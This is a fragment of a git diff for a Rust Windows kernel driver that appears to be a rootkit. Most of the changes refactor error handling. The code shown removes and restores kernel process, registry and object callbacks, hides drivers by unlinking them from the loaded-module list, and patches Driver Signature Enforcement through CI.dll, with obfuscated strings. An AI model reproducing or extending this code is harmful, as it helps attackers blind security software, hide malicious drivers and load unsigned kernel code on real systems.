wdk-sys = "0.2.0"
|
||||||
3
crates/shadowx/src/lib.rs
Normal file
3
crates/shadowx/src/lib.rs
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
fn main() {
|
||||||
|
println!("Hello, world!");
|
||||||
|
}
|
||||||
@@ -1,35 +1,50 @@
|
|||||||
use {
|
use {
|
||||||
alloc::boxed::Box,
|
alloc::boxed::Box,
|
||||||
hashbrown::HashMap,
|
hashbrown::HashMap,
|
||||||
|
crate::{handle_callback, utils::ioctls::IoctlHandler},
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
shared::{
|
shared::{
|
||||||
ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK},
|
ioctls::{
|
||||||
|
IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK,
|
||||||
|
IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK
|
||||||
|
},
|
||||||
structs::{CallbackInfoInput, CallbackInfoOutput}
|
structs::{CallbackInfoInput, CallbackInfoOutput}
|
||||||
},
|
},
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
|
||||||
crate::{handle_callback, utils::ioctls::IoctlHandler},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
||||||
|
|
||||||
// Lists callbacks.
|
// Lists Callbacks.
|
||||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||||
|
|
||||||
let mut information = 0;
|
let mut information = 0;
|
||||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// ?
|
// List Callbacks Removed.
|
||||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
||||||
|
|
||||||
let mut information = 0;
|
let mut information = 0;
|
||||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// Remove a callback.
|
// Remove Callback.
|
||||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
||||||
@@ -37,7 +52,7 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
|
|||||||
status
|
status
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// ?
|
// Restore Callback.
|
||||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
||||||
|
|||||||
@@ -59,7 +59,7 @@ pub trait CallbackList {
|
|||||||
/// # Returns
|
/// # Returns
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
///
|
///
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
||||||
|
|
||||||
/// List of callbacks currently removed.
|
/// List of callbacks currently removed.
|
||||||
///
|
///
|
||||||
@@ -71,7 +71,7 @@ pub trait CallbackList {
|
|||||||
/// # Returns
|
/// # Returns
|
||||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
///
|
///
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Structure representing the Callback.
|
/// Structure representing the Callback.
|
||||||
@@ -126,17 +126,13 @@ impl CallbackList for Callback {
|
|||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let address = match find_callback_address(&(*target_callback).callback) {
|
let address = match find_callback_address(&(*target_callback).callback) {
|
||||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
Some(CallbackResult::PsCreate(addr)) => addr,
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||||
};
|
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
for i in 0..64 {
|
for i in 0..64 {
|
||||||
@@ -182,17 +178,13 @@ impl CallbackList for Callback {
|
|||||||
ldr_data = start_entry;
|
ldr_data = start_entry;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
|
let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||||
@@ -230,7 +222,7 @@ impl CallbackList for Callback {
|
|||||||
ldr_data = start_entry;
|
ldr_data = start_entry;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -277,6 +269,7 @@ impl CallbackList for CallbackRegistry {
|
|||||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||||
return STATUS_UNSUCCESSFUL;
|
return STATUS_UNSUCCESSFUL;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,18 +322,15 @@ impl CallbackList for CallbackRegistry {
|
|||||||
STATUS_UNSUCCESSFUL
|
STATUS_UNSUCCESSFUL
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
||||||
Some(CallbackResult::Registry(addr)) => addr,
|
Some(CallbackResult::Registry(addr)) => addr,
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||||
};
|
};
|
||||||
|
|
||||||
let count = *(callback_count as *mut u32) + 1;
|
let count = *(callback_count as *mut u32) + 1;
|
||||||
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||||
@@ -388,16 +378,13 @@ impl CallbackList for CallbackRegistry {
|
|||||||
|
|
||||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
@@ -434,7 +421,7 @@ impl CallbackList for CallbackRegistry {
|
|||||||
ldr_data = start_entry;
|
ldr_data = start_entry;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -534,10 +521,10 @@ impl CallbackList for CallbackOb {
|
|||||||
STATUS_UNSUCCESSFUL
|
STATUS_UNSUCCESSFUL
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let object_type = match find_callback_address(&(*target_callback).callback) {
|
let object_type = match find_callback_address(&(*target_callback).callback) {
|
||||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
Some(CallbackResult::ObRegister(addr)) => addr,
|
||||||
_ => return STATUS_UNSUCCESSFUL,
|
_ => return Err(STATUS_UNSUCCESSFUL),
|
||||||
};
|
};
|
||||||
|
|
||||||
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
@@ -559,11 +546,7 @@ impl CallbackList for CallbackOb {
|
|||||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
}
|
}
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
let mut current_index = 0;
|
let mut current_index = 0;
|
||||||
|
|
||||||
@@ -612,17 +595,13 @@ impl CallbackList for CallbackOb {
|
|||||||
ldr_data = start_entry;
|
ldr_data = start_entry;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
|
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = match return_module() {
|
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(result) => result,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let start_entry = ldr_data;
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||||
@@ -661,6 +640,6 @@ impl CallbackList for CallbackOb {
|
|||||||
ldr_data = start_entry;
|
ldr_data = start_entry;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,14 +1,10 @@
|
|||||||
use {
|
use {
|
||||||
alloc::boxed::Box,
|
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, alloc::boxed::Box, hashbrown::HashMap, shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
|
||||||
hashbrown::HashMap,
|
|
||||||
shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
|
||||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||||
|
|
||||||
// Hiding a driver from loaded modules.
|
// Hiding / Unhiding a driver from loaded modules.
|
||||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||||
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
||||||
@@ -19,9 +15,15 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|||||||
// Enumerate active drivers on the system.
|
// Enumerate active drivers on the system.
|
||||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||||
|
|
||||||
let mut information = 0;
|
let mut information = 0;
|
||||||
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
}
|
}
|
||||||
@@ -4,7 +4,7 @@ use {
|
|||||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
core::sync::atomic::{AtomicPtr, Ordering},
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
alloc::{string::String, vec::Vec, boxed::Box},
|
alloc::{string::String, vec::Vec, boxed::Box},
|
||||||
crate::utils::{get_function_address, get_module_base_address, uni},
|
crate::utils::{address::{get_function_address, get_module_base_address}, uni},
|
||||||
shared::{
|
shared::{
|
||||||
structs::{
|
structs::{
|
||||||
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
|
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
|
||||||
@@ -67,14 +67,10 @@ impl Driver {
|
|||||||
|
|
||||||
while next != current {
|
while next != current {
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
let buffer = core::slice::from_raw_parts(
|
let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize);
|
||||||
(*list_entry).BaseDllName.Buffer,
|
|
||||||
((*list_entry).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
let name = String::from_utf16_lossy(buffer);
|
let name = String::from_utf16_lossy(buffer);
|
||||||
if name.contains(driver_name) {
|
if name.contains(driver_name) {
|
||||||
log::info!("Driver found: {name}");
|
|
||||||
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
let list = LIST_ENTRY {
|
let list = LIST_ENTRY {
|
||||||
@@ -85,7 +81,6 @@ impl Driver {
|
|||||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
let list_ptr = Box::into_raw(Box::new(list));
|
let list_ptr = Box::into_raw(Box::new(list));
|
||||||
let driver_entry = Box::into_raw(Box::new(*list_entry));
|
let driver_entry = Box::into_raw(Box::new(*list_entry));
|
||||||
log::info!("Stored list entry at: {:?}", list_ptr);
|
|
||||||
|
|
||||||
driver_info.push(HiddenDriverInfo {
|
driver_info.push(HiddenDriverInfo {
|
||||||
name,
|
name,
|
||||||
@@ -117,17 +112,18 @@ impl Driver {
|
|||||||
///
|
///
|
||||||
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
|
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
|
||||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
|
|
||||||
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
|
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
|
||||||
let driver = &driver_info[index];
|
let driver = &driver_info[index];
|
||||||
let list = driver.list_entry.load(Ordering::SeqCst);
|
let list_entry = driver.list_entry.load(Ordering::SeqCst);
|
||||||
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
if list_entry.is_null() {
|
||||||
if list.is_null() {
|
|
||||||
log::error!("List entry stored in AtomicPtr is null");
|
log::error!("List entry stored in AtomicPtr is null");
|
||||||
return STATUS_INVALID_PARAMETER;
|
return STATUS_INVALID_PARAMETER;
|
||||||
}
|
}
|
||||||
|
|
||||||
(*driver_entry).InLoadOrderLinks.Flink = (*list).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
||||||
(*driver_entry).InLoadOrderLinks.Blink = (*list).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
|
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
|
||||||
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
|
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
|
||||||
@@ -137,7 +133,6 @@ impl Driver {
|
|||||||
|
|
||||||
driver_info.remove(index);
|
driver_info.remove(index);
|
||||||
} else {
|
} else {
|
||||||
log::info!("Driver ({driver_name}) Not found");
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
return STATUS_UNSUCCESSFUL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -153,19 +148,17 @@ impl Driver {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> NTSTATUS {
|
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||||
log::info!("Starting module enumeration");
|
|
||||||
|
|
||||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
if func.is_null() {
|
if ldr_data.is_null() {
|
||||||
log::error!("PsLoadedModuleList is null");
|
log::error!("PsLoadedModuleList is null");
|
||||||
return STATUS_UNSUCCESSFUL;
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
}
|
}
|
||||||
|
|
||||||
let current = func as *mut winapi::shared::ntdef::LIST_ENTRY;
|
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
let mut next = (*func).InLoadOrderLinks.Flink;
|
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
|
||||||
let mut count = 0;
|
let mut count = 0;
|
||||||
|
|
||||||
while next != current {
|
while next != current {
|
||||||
@@ -191,7 +184,7 @@ impl Driver {
|
|||||||
next = (*next).Flink;
|
next = (*next).Flink;
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
||||||
@@ -202,16 +195,9 @@ impl Driver {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> NTSTATUS {
|
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
|
||||||
let module_address = match get_module_base_address(obfstr!("CI.dll")) {
|
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(addr) => addr,
|
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
let function_address = match get_function_address(obfstr!("CiInitialize"), module_address) {
|
|
||||||
Some(addr) => addr,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
|
||||||
|
|
||||||
// mov ecx,ebp
|
// mov ecx,ebp
|
||||||
@@ -226,7 +212,6 @@ impl Driver {
|
|||||||
|
|
||||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||||
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
|
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
|
||||||
log::info!("c_ip_initialize: {:?}", c_ip_initialize);
|
|
||||||
|
|
||||||
// mov rbp,r9
|
// mov rbp,r9
|
||||||
let instructions = [0x49, 0x8b, 0xE9];
|
let instructions = [0x49, 0x8b, 0xE9];
|
||||||
@@ -252,7 +237,7 @@ impl Driver {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,16 +2,19 @@
|
|||||||
#![allow(dead_code)]
|
#![allow(dead_code)]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
bitfield::bitfield,
|
|
||||||
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
|
||||||
shared::structs::LIST_ENTRY,
|
|
||||||
wdk_sys::*,
|
wdk_sys::*,
|
||||||
winapi::ctypes::c_void
|
bitfield::bitfield,
|
||||||
|
winapi::ctypes::c_void,
|
||||||
|
shared::structs::LIST_ENTRY,
|
||||||
|
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
||||||
};
|
};
|
||||||
|
|
